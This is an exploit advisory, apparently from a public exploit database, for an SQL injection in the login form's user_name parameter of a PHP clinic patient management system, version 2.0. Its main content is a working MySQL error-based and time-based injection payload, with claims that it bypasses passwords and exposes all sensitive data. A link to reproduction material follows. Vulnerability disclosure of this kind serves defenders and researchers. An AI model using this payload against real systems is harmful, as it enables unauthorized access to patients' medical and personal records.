# Titles: PHP - CPMS Version 2.0 SQLi
# Author: nu11secur1ty
# Date: 12/19/2024
# Vendor: https://github.com/oretnom23
# Software: https://www.sourcecodester.com/php-clinics-patient-management-system-source-code
# Reference: https://portswigger.net/web-security/sql-injection
## Description:
The user_name parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the user_name parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present. The attacker can get all sensitive information from this system when he attacks it online, He can login super easily WITHOUT PASSWORD - ONLY USER - bypassing, and can crash or get every sensitive information from him!
STATUS: HIGH-CRITICAL Vulnerability
[+]Payload:
- SQLi:
---
Parameter: #1* ((custom) POST)
Type: error-based
Title: MySQL >= 5.0 (inline) error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: user_name=mBHydNkQ'+(select (SELECT 1239 FROM(SELECT COUNT(*),CONCAT(0x717a6b7871,(SELECT (ELT(1239=1239,1))),0x71786a6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)from(select(sleep(20)))a)+'&password=s1L!p4i!O5&login=
---
```
# Reproduce:
[href](https://www.patreon.com/posts/php-cpms-version-119213312)
## Time spent:
01:03:00
--
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/ https://cve.mitre.org/index.html
https://cxsecurity.com/ and https://www.exploit-db.com/
0day Exploit DataBase https://0day.today/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
nu11secur1ty <http://nu11secur1ty.com/>